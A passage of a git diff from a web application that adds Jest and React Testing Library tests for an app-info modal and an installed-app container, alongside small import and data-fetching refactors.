+      fireEvent.click(getAppIconTrigger())
+
+      expect(screen.getByRole('button', { name: 'app.iconPicker.cancel' })).toBeInTheDocument()
+
+      fireEvent.click(screen.getByRole('button', { name: 'app.iconPicker.cancel' }))
+
+      expect(screen.queryByRole('button', { name: 'app.iconPicker.cancel' })).not.toBeInTheDocument()
+    })
+
+    test('should update icon payload when selecting emoji and confirming', () => {
+      jest.useFakeTimers()
+      try {
+        const { onConfirm } = setup({
+          appIconType: 'image',
+          appIcon: 'file-123',
+          appIconUrl: 'https://example.com/icon.png',
+        })
+
+        fireEvent.click(getAppIconTrigger())
+
+        const emoji = document.querySelector('em-emoji[id="😀"]')
+        if (!(emoji instanceof HTMLElement))
+          throw new Error('Failed to locate emoji option in icon picker')
+        fireEvent.click(emoji)
+
+        fireEvent.click(screen.getByRole('button', { name: 'app.iconPicker.ok' }))
+
+        fireEvent.click(screen.getByRole('button', { name: 'common.operation.create' }))
+        act(() => {
+          jest.advanceTimersByTime(300)
+        })
+
+        expect(onConfirm).toHaveBeenCalledTimes(1)
+        const payload = onConfirm.mock.calls[0][0]
+        expect(payload).toMatchObject({
+          icon_type: 'emoji',
+          icon: '😀',
+          icon_background: '#FFEAD5',
+        })
+      }
+      finally {
+        jest.useRealTimers()
+      }
+    })
+
+    test('should reset emoji icon to initial props when picker is cancelled', () => {
+      setup({
+        appIconType: 'emoji',
+        appIcon: '🤖',
+        appIconBackground: '#FFEAD5',
+      })
+
+      expect(document.querySelector('em-emoji[id="🤖"]')).toBeInTheDocument()
+
+      fireEvent.click(getAppIconTrigger())
+
+      const emoji = document.querySelector('em-emoji[id="😀"]')
+      if (!(emoji instanceof HTMLElement))
+        throw new Error('Failed to locate emoji option in icon picker')
+      fireEvent.click(emoji)
+
+      fireEvent.click(screen.getByRole('button', { name: 'app.iconPicker.ok' }))
+
+      expect(screen.queryByRole('button', { name: 'app.iconPicker.cancel' })).not.toBeInTheDocument()
+      expect(document.querySelector('em-emoji[id="😀"]')).toBeInTheDocument()
+
+      fireEvent.click(getAppIconTrigger())
+      fireEvent.click(screen.getByRole('button', { name: 'app.iconPicker.cancel' }))
+
+      expect(screen.queryByRole('button', { name: 'app.iconPicker.cancel' })).not.toBeInTheDocument()
+      expect(document.querySelector('em-emoji[id="🤖"]')).toBeInTheDocument()
+    })
+  })
+
+  // Submitting uses a debounced handler and builds a payload from current form state.
+  describe('Submitting', () => {
+    beforeEach(() => {
+      jest.useFakeTimers()
+    })
+
+    afterEach(() => {
+      jest.useRealTimers()
+    })
+
+    test('should call onConfirm with emoji payload and hide when create is clicked', () => {
+      const { onConfirm, onHide } = setup({
+        appName: 'My App',
+        appDescription: 'My description',
+        appIconType: 'emoji',
+        appIcon: '😀',
+        appIconBackground: '#000000',
+      })
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.create' }))
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+      expect(onHide).toHaveBeenCalledTimes(1)
+
+      const payload = onConfirm.mock.calls[0][0]
+      expect(payload).toMatchObject({
+        name: 'My App',
+        icon_type: 'emoji',
+        icon: '😀',
+        icon_background: '#000000',
+        description: 'My description',
+        use_icon_as_answer_icon: false,
+      })
+      expect(payload).not.toHaveProperty('max_active_requests')
+    })
+
+    test('should include updated description when textarea is changed before submitting', () => {
+      const { onConfirm } = setup({ appDescription: 'Old description' })
+
+      fireEvent.change(screen.getByPlaceholderText('app.newApp.appDescriptionPlaceholder'), { target: { value: 'Updated description' } })
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.create' }))
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+      expect(onConfirm.mock.calls[0][0]).toMatchObject({ description: 'Updated description' })
+    })
+
+    test('should omit icon_background when submitting with image icon', () => {
+      const { onConfirm } = setup({
+        appIconType: 'image',
+        appIcon: 'file-123',
+        appIconUrl: 'https://example.com/icon.png',
+        appIconBackground: null,
+      })
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.create' }))
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      const payload = onConfirm.mock.calls[0][0]
+      expect(payload).toMatchObject({
+        icon_type: 'image',
+        icon: 'file-123',
+      })
+      expect(payload.icon_background).toBeUndefined()
+    })
+
+    test('should include max_active_requests and updated answer icon when saving', () => {
+      const { onConfirm } = setup({
+        isEditModal: true,
+        appMode: AppModeEnum.CHAT,
+        appUseIconAsAnswerIcon: false,
+        max_active_requests: 3,
+      })
+
+      fireEvent.click(screen.getByRole('switch'))
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: '12' } })
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.save' }))
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      const payload = onConfirm.mock.calls[0][0]
+      expect(payload).toMatchObject({
+        use_icon_as_answer_icon: true,
+        max_active_requests: 12,
+      })
+    })
+
+    test('should omit max_active_requests when input is empty', () => {
+      const { onConfirm } = setup({ isEditModal: true, max_active_requests: null })
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.save' }))
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      const payload = onConfirm.mock.calls[0][0]
+      expect(payload.max_active_requests).toBeUndefined()
+    })
+
+    test('should omit max_active_requests when input is not a number', () => {
+      const { onConfirm } = setup({ isEditModal: true, max_active_requests: null })
+
+      fireEvent.change(screen.getByRole('spinbutton'), { target: { value: 'abc' } })
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.save' }))
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      const payload = onConfirm.mock.calls[0][0]
+      expect(payload.max_active_requests).toBeUndefined()
+    })
+
+    test('should show toast error and not submit when name becomes empty before debounced submit runs', () => {
+      const { onConfirm, onHide } = setup({ appName: 'My App' })
+
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.create' }))
+      fireEvent.change(screen.getByPlaceholderText('app.newApp.appNamePlaceholder'), { target: { value: '   ' } })
+
+      act(() => {
+        jest.advanceTimersByTime(300)
+      })
+
+      expect(screen.getByText('explore.appCustomize.nameRequired')).toBeInTheDocument()
+      act(() => {
+        jest.advanceTimersByTime(6000)
+      })
+      expect(screen.queryByText('explore.appCustomize.nameRequired')).not.toBeInTheDocument()
+      expect(onConfirm).not.toHaveBeenCalled()
+      expect(onHide).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/explore/index.tsx b/web/app/components/explore/index.tsx
index e716de96f1..b9460f8135 100644
--- a/web/app/components/explore/index.tsx
+++ b/web/app/components/explore/index.tsx
@@ -5,10 +5,10 @@ import { useRouter } from 'next/navigation'
 import ExploreContext from '@/context/explore-context'
 import Sidebar from '@/app/components/explore/sidebar'
 import { useAppContext } from '@/context/app-context'
-import { fetchMembers } from '@/service/common'
 import type { InstalledApp } from '@/models/explore'
 import { useTranslation } from 'react-i18next'
 import useDocumentTitle from '@/hooks/use-document-title'
+import { useMembers } from '@/service/use-common'
 
 export type IExploreProps = {
   children: React.ReactNode
@@ -24,18 +24,16 @@ const Explore: FC<IExploreProps> = ({
   const [installedApps, setInstalledApps] = useState<InstalledApp[]>([])
   const [isFetchingInstalledApps, setIsFetchingInstalledApps] = useState(false)
   const { t } = useTranslation()
+  const { data: membersData } = useMembers()
 
   useDocumentTitle(t('common.menus.explore'))
 
   useEffect(() => {
-    (async () => {
-      const { accounts } = await fetchMembers({ url: '/workspaces/current/members', params: {} })
-      if (!accounts)
-        return
-      const currUser = accounts.find(account => account.id === userProfile.id)
-      setHasEditPermission(currUser?.role !== 'normal')
-    })()
-  }, [])
+    if (!membersData?.accounts)
+      return
+    const currUser = membersData.accounts.find(account => account.id === userProfile.id)
+    setHasEditPermission(currUser?.role !== 'normal')
+  }, [membersData, userProfile.id])
 
   useEffect(() => {
     if (isCurrentWorkspaceDatasetOperator)
diff --git a/web/app/components/explore/installed-app/index.spec.tsx b/web/app/components/explore/installed-app/index.spec.tsx
new file mode 100644
index 0000000000..7dbf31aa42
--- /dev/null
+++ b/web/app/components/explore/installed-app/index.spec.tsx
@@ -0,0 +1,681 @@
+import { render, screen, waitFor } from '@testing-library/react'
+import { AppModeEnum } from '@/types/app'
+import { AccessMode } from '@/models/access-control'
+
+// Mock external dependencies BEFORE imports
+jest.mock('use-context-selector', () => ({
+  useContext: jest.fn(),
+  createContext: jest.fn(() => ({})),
+}))
+jest.mock('@/context/web-app-context', () => ({
+  useWebAppStore: jest.fn(),
+}))
+jest.mock('@/service/access-control', () => ({
+  useGetUserCanAccessApp: jest.fn(),
+}))
+jest.mock('@/service/use-explore', () => ({
+  useGetInstalledAppAccessModeByAppId: jest.fn(),
+  useGetInstalledAppParams: jest.fn(),
+  useGetInstalledAppMeta: jest.fn(),
+}))
+
+import { useContext } from 'use-context-selector'
+import InstalledApp from './index'
+import { useWebAppStore } from '@/context/web-app-context'
+import { useGetUserCanAccessApp } from '@/service/access-control'
+import { useGetInstalledAppAccessModeByAppId, useGetInstalledAppMeta, useGetInstalledAppParams } from '@/service/use-explore'
+import type { InstalledApp as InstalledAppType } from '@/models/explore'
+
+/**
+ * Mock child components for unit testing
+ *
+ * RATIONALE FOR MOCKING:
+ * - TextGenerationApp: 648 lines, complex batch processing, task management, file uploads
+ * - ChatWithHistory: 576-line custom hook, complex conversation/history management, 30+ context values
+ *
+ * These components are too complex to test as real components. Using real components would:
+ * 1. Require mocking dozens of their dependencies (services, contexts, hooks)
+ * 2. Make tests fragile and coupled to child component implementation details
+ * 3. Violate the principle of testing one component in isolation
+ *
+ * For a container component like InstalledApp, its responsibility is to:
+ * - Correctly route to the appropriate child component based on app mode
+ * - Pass the correct props to child components
+ * - Handle loading/error states before rendering children
+ *
+ * The internal logic of ChatWithHistory and TextGenerationApp should be tested
+ * in their own dedicated test files.
+ */
+jest.mock('@/app/components/share/text-generation', () => ({
+  __esModule: true,
+  default: ({ isInstalledApp, installedAppInfo, isWorkflow }: {
+    isInstalledApp?: boolean
+    installedAppInfo?: InstalledAppType
+    isWorkflow?: boolean
+  }) => (
+    <div data-testid="text-generation-app">
+      Text Generation App
+      {isWorkflow && ' (Workflow)'}
+      {isInstalledApp && ` - ${installedAppInfo?.id}`}
+    </div>
+  ),
+}))
+
+jest.mock('@/app/components/base/chat/chat-with-history', () => ({
+  __esModule: true,
+  default: ({ installedAppInfo, className }: {
+    installedAppInfo?: InstalledAppType
+    className?: string
+  }) => (
+    <div data-testid="chat-with-history" className={className}>
+      Chat With History - {installedAppInfo?.id}
+    </div>
+  ),
+}))
+
+describe('InstalledApp', () => {
+  const mockUpdateAppInfo = jest.fn()
+  const mockUpdateWebAppAccessMode = jest.fn()
+  const mockUpdateAppParams = jest.fn()
+  const mockUpdateWebAppMeta = jest.fn()
+  const mockUpdateUserCanAccessApp = jest.fn()
+
+  const mockInstalledApp = {
+    id: 'installed-app-123',
+    app: {
+      id: 'app-123',
+      name: 'Test App',
+      mode: AppModeEnum.CHAT,
+      icon_type: 'emoji' as const,
+      icon: '🚀',
+      icon_background: '#FFFFFF',
+      icon_url: '',
+      description: 'Test description',
+      use_icon_as_answer_icon: false,
+    },
+    uninstallable: true,
+    is_pinned: false,
+  }
+
+  const mockAppParams = {
+    user_input_form: [],
+    file_upload: { image: { enabled: false, number_limits: 0, transfer_methods: [] } },
+    system_parameters: {},
+  }
+
+  const mockAppMeta = {
+    tool_icons: {},
+  }
+
+  const mockWebAppAccessMode = {
+    accessMode: AccessMode.PUBLIC,
+  }
+
+  const mockUserCanAccessApp = {
+    result: true,
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Mock useContext
+    ;(useContext as jest.Mock).mockReturnValue({
+      installedApps: [mockInstalledApp],
+      isFetchingInstalledApps: false,
+    })
+
+    // Mock useWebAppStore
+    ;(useWebAppStore as unknown as jest.Mock).mockImplementation((
+      selector: (state: {
+        updateAppInfo: jest.Mock
+        updateWebAppAccessMode: jest.Mock
+        updateAppParams: jest.Mock
+        updateWebAppMeta: jest.Mock
+        updateUserCanAccessApp: jest.Mock
+      }) => unknown,
+    ) => {
+      const state = {
+        updateAppInfo: mockUpdateAppInfo,
+        updateWebAppAccessMode: mockUpdateWebAppAccessMode,
+        updateAppParams: mockUpdateAppParams,
+        updateWebAppMeta: mockUpdateWebAppMeta,
+        updateUserCanAccessApp: mockUpdateUserCanAccessApp,
+      }
+      return selector(state)
+    })
+
+    // Mock service hooks with default success states
+    ;(useGetInstalledAppAccessModeByAppId as jest.Mock).mockReturnValue({
+      isFetching: false,
+      data: mockWebAppAccessMode,
+      error: null,
+    })
+
+    ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+      isFetching: false,
+      data: mockAppParams,
+      error: null,
+    })
+
+    ;(useGetInstalledAppMeta as jest.Mock).mockReturnValue({
+      isFetching: false,
+      data: mockAppMeta,
+      error: null,
+    })
+
+    ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+      data: mockUserCanAccessApp,
+      error: null,
+    })
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Chat With History/i)).toBeInTheDocument()
+    })
+
+    it('should render loading state when fetching app params', () => {
+      ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+        isFetching: true,
+        data: null,
+        error: null,
+      })
+
+      const { container } = render(<InstalledApp id="installed-app-123" />)
+      const svg = container.querySelector('svg.spin-animation')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render loading state when fetching app meta', () => {
+      ;(useGetInstalledAppMeta as jest.Mock).mockReturnValue({
+        isFetching: true,
+        data: null,
+        error: null,
+      })
+
+      const { container } = render(<InstalledApp id="installed-app-123" />)
+      const svg = container.querySelector('svg.spin-animation')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render loading state when fetching web app access mode', () => {
+      ;(useGetInstalledAppAccessModeByAppId as jest.Mock).mockReturnValue({
+        isFetching: true,
+        data: null,
+        error: null,
+      })
+
+      const { container } = render(<InstalledApp id="installed-app-123" />)
+      const svg = container.querySelector('svg.spin-animation')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render loading state when fetching installed apps', () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [mockInstalledApp],
+        isFetchingInstalledApps: true,
+      })
+
+      const { container } = render(<InstalledApp id="installed-app-123" />)
+      const svg = container.querySelector('svg.spin-animation')
+      expect(svg).toBeInTheDocument()
+    })
+
+    it('should render app not found (404) when installedApp does not exist', () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="nonexistent-app" />)
+      expect(screen.getByText(/404/)).toBeInTheDocument()
+    })
+  })
+
+  describe('Error States', () => {
+    it('should render error when app params fails to load', () => {
+      const error = new Error('Failed to load app params')
+      ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Failed to load app params/)).toBeInTheDocument()
+    })
+
+    it('should render error when app meta fails to load', () => {
+      const error = new Error('Failed to load app meta')
+      ;(useGetInstalledAppMeta as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Failed to load app meta/)).toBeInTheDocument()
+    })
+
+    it('should render error when web app access mode fails to load', () => {
+      const error = new Error('Failed to load access mode')
+      ;(useGetInstalledAppAccessModeByAppId as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Failed to load access mode/)).toBeInTheDocument()
+    })
+
+    it('should render error when user access check fails', () => {
+      const error = new Error('Failed to check user access')
+      ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+        data: null,
+        error,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Failed to check user access/)).toBeInTheDocument()
+    })
+
+    it('should render no permission (403) when user cannot access app', () => {
+      ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+        data: { result: false },
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/403/)).toBeInTheDocument()
+      expect(screen.getByText(/no permission/i)).toBeInTheDocument()
+    })
+  })
+
+  describe('App Mode Rendering', () => {
+    it('should render ChatWithHistory for CHAT mode', () => {
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Chat With History/i)).toBeInTheDocument()
+      expect(screen.queryByText(/Text Generation App/i)).not.toBeInTheDocument()
+    })
+
+    it('should render ChatWithHistory for ADVANCED_CHAT mode', () => {
+      const advancedChatApp = {
+        ...mockInstalledApp,
+        app: {
+          ...mockInstalledApp.app,
+          mode: AppModeEnum.ADVANCED_CHAT,
+        },
+      }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [advancedChatApp],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Chat With History/i)).toBeInTheDocument()
+      expect(screen.queryByText(/Text Generation App/i)).not.toBeInTheDocument()
+    })
+
+    it('should render ChatWithHistory for AGENT_CHAT mode', () => {
+      const agentChatApp = {
+        ...mockInstalledApp,
+        app: {
+          ...mockInstalledApp.app,
+          mode: AppModeEnum.AGENT_CHAT,
+        },
+      }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [agentChatApp],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Chat With History/i)).toBeInTheDocument()
+      expect(screen.queryByText(/Text Generation App/i)).not.toBeInTheDocument()
+    })
+
+    it('should render TextGenerationApp for COMPLETION mode', () => {
+      const completionApp = {
+        ...mockInstalledApp,
+        app: {
+          ...mockInstalledApp.app,
+          mode: AppModeEnum.COMPLETION,
+        },
+      }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [completionApp],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Text Generation App/i)).toBeInTheDocument()
+      expect(screen.queryByText(/Workflow/)).not.toBeInTheDocument()
+    })
+
+    it('should render TextGenerationApp with workflow flag for WORKFLOW mode', () => {
+      const workflowApp = {
+        ...mockInstalledApp,
+        app: {
+          ...mockInstalledApp.app,
+          mode: AppModeEnum.WORKFLOW,
+        },
+      }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [workflowApp],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/Text Generation App/i)).toBeInTheDocument()
+      expect(screen.getByText(/Workflow/)).toBeInTheDocument()
+    })
+  })
+
+  describe('Props', () => {
+    it('should use id prop to find installed app', () => {
+      const app1 = { ...mockInstalledApp, id: 'app-1' }
+      const app2 = { ...mockInstalledApp, id: 'app-2' }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [app1, app2],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="app-2" />)
+      expect(screen.getByText(/app-2/)).toBeInTheDocument()
+    })
+
+    it('should handle id that does not match any installed app', () => {
+      render(<InstalledApp id="nonexistent-id" />)
+      expect(screen.getByText(/404/)).toBeInTheDocument()
+    })
+  })
+
+  describe('Effects', () => {
+    it('should update app info when installedApp is available', async () => {
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateAppInfo).toHaveBeenCalledWith(
+          expect.objectContaining({
+            app_id: 'installed-app-123',
+            site: expect.objectContaining({
+              title: 'Test App',
+              icon_type: 'emoji',
+              icon: '🚀',
+              icon_background: '#FFFFFF',
+              icon_url: '',
+              prompt_public: false,
+              copyright: '',
+              show_workflow_steps: true,
+              use_icon_as_answer_icon: false,
+            }),
+            plan: 'basic',
+            custom_config: null,
+          }),
+        )
+      })
+    })
+
+    it('should update app info to null when installedApp is not found', async () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="nonexistent-app" />)
+
+      await waitFor(() => {
+        expect(mockUpdateAppInfo).toHaveBeenCalledWith(null)
+      })
+    })
+
+    it('should update app params when data is available', async () => {
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateAppParams).toHaveBeenCalledWith(mockAppParams)
+      })
+    })
+
+    it('should update app meta when data is available', async () => {
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateWebAppMeta).toHaveBeenCalledWith(mockAppMeta)
+      })
+    })
+
+    it('should update web app access mode when data is available', async () => {
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateWebAppAccessMode).toHaveBeenCalledWith(AccessMode.PUBLIC)
+      })
+    })
+
+    it('should update user can access app when data is available', async () => {
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateUserCanAccessApp).toHaveBeenCalledWith(true)
+      })
+    })
+
+    it('should update user can access app to false when result is false', async () => {
+      ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+        data: { result: false },
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateUserCanAccessApp).toHaveBeenCalledWith(false)
+      })
+    })
+
+    it('should update user can access app to false when data is null', async () => {
+      ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+        data: null,
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateUserCanAccessApp).toHaveBeenCalledWith(false)
+      })
+    })
+
+    it('should not update app params when data is null', async () => {
+      ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateAppInfo).toHaveBeenCalled()
+      })
+
+      expect(mockUpdateAppParams).not.toHaveBeenCalled()
+    })
+
+    it('should not update app meta when data is null', async () => {
+      ;(useGetInstalledAppMeta as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateAppInfo).toHaveBeenCalled()
+      })
+
+      expect(mockUpdateWebAppMeta).not.toHaveBeenCalled()
+    })
+
+    it('should not update access mode when data is null', async () => {
+      ;(useGetInstalledAppAccessModeByAppId as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+
+      await waitFor(() => {
+        expect(mockUpdateAppInfo).toHaveBeenCalled()
+      })
+
+      expect(mockUpdateWebAppAccessMode).not.toHaveBeenCalled()
+    })
+  })
+
+  describe('Edge Cases', () => {
+    it('should handle empty installedApps array', () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      expect(screen.getByText(/404/)).toBeInTheDocument()
+    })
+
+    it('should handle multiple installed apps and find the correct one', () => {
+      const otherApp = {
+        ...mockInstalledApp,
+        id: 'other-app-id',
+        app: {
+          ...mockInstalledApp.app,
+          name: 'Other App',
+        },
+      }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [otherApp, mockInstalledApp],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      // Should find and render the correct app
+      expect(screen.getByText(/Chat With History/i)).toBeInTheDocument()
+      expect(screen.getByText(/installed-app-123/)).toBeInTheDocument()
+    })
+
+    it('should handle rapid id prop changes', async () => {
+      const app1 = { ...mockInstalledApp, id: 'app-1' }
+      const app2 = { ...mockInstalledApp, id: 'app-2' }
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [app1, app2],
+        isFetchingInstalledApps: false,
+      })
+
+      const { rerender } = render(<InstalledApp id="app-1" />)
+      expect(screen.getByText(/app-1/)).toBeInTheDocument()
+
+      rerender(<InstalledApp id="app-2" />)
+      expect(screen.getByText(/app-2/)).toBeInTheDocument()
+    })
+
+    it('should call service hooks with correct appId', () => {
+      render(<InstalledApp id="installed-app-123" />)
+
+      expect(useGetInstalledAppAccessModeByAppId).toHaveBeenCalledWith('installed-app-123')
+      expect(useGetInstalledAppParams).toHaveBeenCalledWith('installed-app-123')
+      expect(useGetInstalledAppMeta).toHaveBeenCalledWith('installed-app-123')
+      expect(useGetUserCanAccessApp).toHaveBeenCalledWith({
+        appId: 'app-123',
+        isInstalledApp: true,
+      })
+    })
+
+    it('should call service hooks with null when installedApp is not found', () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [],
+        isFetchingInstalledApps: false,
+      })
+
+      render(<InstalledApp id="nonexistent-app" />)
+
+      expect(useGetInstalledAppAccessModeByAppId).toHaveBeenCalledWith(null)
+      expect(useGetInstalledAppParams).toHaveBeenCalledWith(null)
+      expect(useGetInstalledAppMeta).toHaveBeenCalledWith(null)
+      expect(useGetUserCanAccessApp).toHaveBeenCalledWith({
+        appId: undefined,
+        isInstalledApp: true,
+      })
+    })
+  })
+
+  describe('Render Priority', () => {
+    it('should show error before loading state', () => {
+      ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+        isFetching: true,
+        data: null,
+        error: new Error('Some error'),
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      // Error should take precedence over loading
+      expect(screen.getByText(/Some error/)).toBeInTheDocument()
+    })
+
+    it('should show error before permission check', () => {
+      ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+        isFetching: false,
+        data: null,
+        error: new Error('Params error'),
+      })
+      ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+        data: { result: false },
+        error: null,
+      })
+
+      render(<InstalledApp id="installed-app-123" />)
+      // Error should take precedence over permission
+      expect(screen.getByText(/Params error/)).toBeInTheDocument()
+      expect(screen.queryByText(/403/)).not.toBeInTheDocument()
+    })
+
+    it('should show permission error before 404', () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [],
+        isFetchingInstalledApps: false,
+      })
+      ;(useGetUserCanAccessApp as jest.Mock).mockReturnValue({
+        data: { result: false },
+        error: null,
+      })
+
+      render(<InstalledApp id="nonexistent-app" />)
+      // Permission should take precedence over 404
+      expect(screen.getByText(/403/)).toBeInTheDocument()
+      expect(screen.queryByText(/404/)).not.toBeInTheDocument()
+    })
+
+    it('should show loading before 404', () => {
+      ;(useContext as jest.Mock).mockReturnValue({
+        installedApps: [],
+        isFetchingInstalledApps: false,
+      })
+      ;(useGetInstalledAppParams as jest.Mock).mockReturnValue({
+        isFetching: true,
+        data: null,
+        error: null,
+      })
+
+      const { container } = render(<InstalledApp id="nonexistent-app" />)
+      // Loading should take precedence over 404
+      const svg = container.querySelector('svg.spin-animation')
+      expect(svg).toBeInTheDocument()
+      expect(screen.queryByText(/404/)).not.toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/explore/item-operation/index.tsx b/web/app/components/explore/item-operation/index.tsx
index 6fd11fd084..a1b4dfcd7c 100644
--- a/web/app/components/explore/item-operation/index.tsx
+++ b/web/app/components/explore/item-operation/index.tsx
@@ -10,7 +10,7 @@ import { useBoolean } from 'ahooks'
 import { Pin02 } from '../../base/icons/src/vender/line/general'
 
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
 
 export type IItemOperationProps = {
diff --git a/web/app/components/explore/sidebar/app-nav-item/index.tsx b/web/app/components/explore/sidebar/app-nav-item/index.tsx
index 9b3ca09be6..9420152b0e 100644
--- a/web/app/components/explore/sidebar/app-nav-item/index.tsx
+++ b/web/app/components/explore/sidebar/app-nav-item/index.tsx
@@ -3,7 +3,7 @@ import React, { useRef } from 'react'
 
 import { useRouter } from 'next/navigation'
 import { useHover } from 'ahooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ItemOperation from '@/app/components/explore/item-operation'
 import AppIcon from '@/app/components/base/app-icon'
 import type { AppIconType } from '@/types/app'
diff --git a/web/app/components/explore/sidebar/index.tsx b/web/app/components/explore/sidebar/index.tsx
index 2173f0fcb7..8fa94030ff 100644
--- a/web/app/components/explore/sidebar/index.tsx
+++ b/web/app/components/explore/sidebar/index.tsx
@@ -7,7 +7,7 @@ import { useSelectedLayoutSegments } from 'next/navigation'
 import Link from 'next/link'
 import Toast from '../../base/toast'
 import Item from './app-nav-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ExploreContext from '@/context/explore-context'
 import Confirm from '@/app/components/base/confirm'
 import Divider from '@/app/components/base/divider'
diff --git a/web/app/components/goto-anything/actions/knowledge.tsx b/web/app/components/goto-anything/actions/knowledge.tsx
index 832f4f82fe..8c1be9a3ef 100644
--- a/web/app/components/goto-anything/actions/knowledge.tsx
+++ b/web/app/components/goto-anything/actions/knowledge.tsx
@@ -2,7 +2,7 @@ import type { ActionItem, KnowledgeSearchResult } from './types'
 import type { DataSet } from '@/models/datasets'
 import { fetchDatasets } from '@/service/datasets'
 import { Folder } from '../../base/icons/src/vender/solid/files'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
